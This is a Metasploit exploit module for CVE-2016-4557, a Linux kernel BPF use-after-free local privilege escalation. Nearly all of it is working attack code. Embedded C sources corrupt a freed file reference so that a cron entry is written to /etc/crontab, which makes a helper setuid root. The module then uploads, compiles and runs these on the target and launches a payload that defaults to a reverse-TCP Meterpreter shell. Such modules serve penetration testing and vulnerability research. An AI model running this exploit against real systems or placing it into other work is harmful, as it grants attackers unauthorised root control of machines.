##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info, {
'Name' => 'Linux BPF Local Privilege Escalation',
'Description' => %q{
Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
sysctl is not set to 1, BPF can be abused to priv escalate.
Ubuntu 16.04 has all of these conditions met.
},
'License' => MSF_LICENSE,
'Author' =>
[
'jannh@google.com', # discovery
'h00die <mike@shorebreaksecurity.com>' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2016-4557' ],
[ 'EDB', '39772' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
[ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultOptions' =>
{
'payload' => 'linux/x64/mettle/reverse_tcp',
'PrependFork' => true,
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
},
'DefaultTarget' => 1,
'DisclosureDate' => 'May 04 2016',
'Privileged' => true
}
))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
], self.class)
end
def check
def check_config_bpf_syscall?()
output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`')
if output == 'CONFIG_BPF_SYSCALL=y'
vprint_good('CONFIG_BPF_SYSCALL is set to yes')
return true
else
print_error('CONFIG_BPF_SYSCALL is NOT set to yes')
return false
end
end
def check_kernel_disabled?()
output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled')
if output != 'kernel.unprivileged_bpf_disabled = 1'
vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1')
return true
else
print_error('kernel.unprivileged_bpf_disabled is set to 1')
return false
end
end
def check_fuse?()
lib = cmd_exec('dpkg --get-selections | grep ^fuse')
if lib.include?('install')
vprint_good('fuse is installed')
return true
else
print_error('fuse is not installed. Exploitation will fail.')
return false
end
end
def mount_point_exists?()
if directory?('/tmp/fuse_mount')
print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.')
return false
else
vprint_good('/tmp/fuse_mount doesn\'t exist')
return true
end
end
if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
CheckCode::Appears
else
CheckCode::Safe
end
end
def exploit
def upload_and_compile(filename, file_path, file_content, compile=nil)
rm_f "#{file_path}"
if not compile.nil?
rm_f "#{file_path}.c"
vprint_status("Writing #{filename} to #{file_path}.c")
write_file("#{file_path}.c", file_content)
register_file_for_cleanup("#{file_path}.c")
output = cmd_exec(compile)
if output != ''
print_error(output)
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
end
else
vprint_status("Writing #{filename} to #{file_path}")
write_file(file_path, file_content)
end
cmd_exec("chmod +x #{file_path}");
register_file_for_cleanup(file_path)
end
doubleput = %q{
#define _GNU_SOURCE
#include <stdbool.h>
#include <errno.h>
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/bpf.h>
#include <linux/kcmp.h>
#ifndef __NR_bpf
# if defined(__i386__)
# define __NR_bpf 357
# elif defined(__x86_64__)
# define __NR_bpf 321
# elif defined(__aarch64__)
# define __NR_bpf 280
# else
# error
# endif
#endif
int uaf_fd;
int task_b(void *p) {
/* step 2: start writev with slow IOV, raising the refcount to 2 */
char *cwd = get_current_dir_name();
char data[2048];
sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
errx(1, "system() failed");
int fuse_fd = open("fuse_mount/hello", O_RDWR);
if (fuse_fd == -1)
err(1, "unable to open FUSE fd");
if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
errx(1, "unable to write to FUSE fd");
struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
if (iov_ == MAP_FAILED)
err(1, "unable to mmap FUSE fd");
fputs("starting writev\n", stderr);
ssize_t writev_res = writev(uaf_fd, iov_, 1);
/* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
if (writev_res == -1)
err(1, "writev failed");
if (writev_res != strlen(data))
errx(1, "writev returned %d", (int)writev_res);
fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
while (1) sleep(1); /* whatever, just don't crash */
}
void make_setuid(void) {
/* step 1: open writable UAF fd */
uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
if (uaf_fd == -1)
err(1, "unable to open UAF fd");
/* refcount is now 1 */
char child_stack[20000];
int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
sleep(3);
/* refcount is now 2 */
/* step 2+3: use BPF to remove two references */
for (int i=0; i<2; i++) {
struct bpf_insn insns[2] = {
{
.code = BPF_LD | BPF_IMM | BPF_DW,
.src_reg = BPF_PSEUDO_MAP_FD,
.imm = uaf_fd
},
{
}
};
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = 2,
.insns = (__aligned_u64) insns,
.license = (__aligned_u64)""
};
if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
if (errno != EINVAL)
err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
}
/* refcount is now 0, the file is freed soon-ish */
/* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
int status;
int hostnamefds[1000];
int used_fds = 0;
bool up = true;
while (1) {
if (waitpid(child, &status, WNOHANG) == child)
errx(1, "child quit before we got a good file*");
if (up) {
hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
if (hostnamefds[used_fds] == -1)
err(1, "open target file");
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
used_fds++;
if (used_fds == 1000) up = false;
} else {
close(hostnamefds[--used_fds]);
if (used_fds == 0) up = true;
}
}
fputs("woohoo, got pointer reuse\n", stderr);
while (1) sleep(1); /* whatever, just don't crash */
}
int main(void) {
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0)
make_setuid();
struct stat helperstat;
while (1) {
if (stat("suidhelper", &helperstat))
err(1, "stat suidhelper");
if (helperstat.st_mode & S_ISUID)
break;
sleep(1);
}
fputs("suid file detected, launching rootshell...\n", stderr);
execl("./suidhelper", "suidhelper", NULL);
err(1, "execl suidhelper");
}
}
suid_helper = %q{
#include <unistd.h>
#include <err.h>
#include <stdio.h>
#include <sys/types.h>
int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("we have root privs now...\n", stderr);
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}
}
hello = %q{
/*
FUSE: Filesystem in Userspace
Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu>
heavily modified by Jann Horn <jannh@google.com>
This program can be distributed under the terms of the GNU GPL.
See the file COPYING.
gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
*/
#define FUSE_USE_VERSION 26
#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include <sys/uio.h>
static const char *hello_path = "/hello";
static char data_state[sizeof(struct iovec)];
static int hello_getattr(const char *path, struct stat *stbuf)
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {
stbuf->st_mode = S_IFREG | 0666;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(data_state);
stbuf->st_blocks = 0;
} else
res = -ENOENT;
return res;
}
static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);
return 0;
}
static int hello_open(const char *path, struct fuse_file_info *fi) {
return 0;
}
static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
sleep(10);
size_t len = sizeof(data_state);
if (offset < len) {
if (offset + size > len)
size = len - offset;
memcpy(buf, data_state + offset, size);
} else
size = 0;
return size;
}
static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
if (offset != 0)
errx(1, "got write with nonzero offset");
if (size != sizeof(data_state))
errx(1, "got write with size %d", (int)size);
memcpy(data_state + offset, buf, size);
return size;
}
static struct fuse_operations hello_oper = {
.getattr = hello_getattr,
.readdir = hello_readdir,
.open = hello_open,
.read = hello_read,
.write = hello_write,
};
int main(int argc, char *argv[]) {
return fuse_main(argc, argv, &hello_oper, NULL);
}
}
hello_filename = 'hello'
hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
doubleput_file = "#{datastore['WritableDir']}/doubleput"
suidhelper_filename = 'suidhelper'
suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
payload_filename = rand_text_alpha(8)
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def has_prereqs?()
def check_libfuse_dev?()
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
if lib.include?('install')
vprint_good('libfuse-dev is installed')
return true
else
print_error('libfuse-dev is not installed. Compiling will fail.')
return false
end
end
def check_gcc?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
def check_pkgconfig?()
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
if lib.include?('install')
vprint_good('pkg-config is installed')
return true
else
print_error('pkg-config is not installed. Exploitation will fail.')
return false
end
end
return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if compile == false
# doubleput file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
fd = ::File.open( path, "rb")
doubleput = fd.read(fd.stat.size)
fd.close
# hello file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
fd = ::File.open( path, "rb")
hello = fd.read(fd.stat.size)
fd.close
# suidhelper file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
fd = ::File.open( path, "rb")
suid_helper = fd.read(fd.stat.size)
fd.close
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'AyDJSaMM'
payload_path = '/tmp/AyDJSaMM'
end
# make our substitutions so things are dynamic
suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
'exit(0);')
print_status('Writing files to target')
cmd_exec("cd #{datastore['WritableDir']}")
upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
upload_and_compile('payload', payload_path, generate_payload_exe)
print_status('Starting execution of priv esc. This may take about 120 seconds')
cmd_exec(doubleput_file)
sec_waited = 0
until sec_waited > datastore['MAXWAIT'] do
Rex.sleep(1)
# check file permissions
if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
print_good('got root, starting payload')
print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
cmd_exec("#{suidhelper_path}")
return
end
sec_waited +=1
end
end
def on_new_session(session)
# if we don't /bin/bash here, our payload times out
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
session.shell_command_token('/bin/bash')
super
end
end
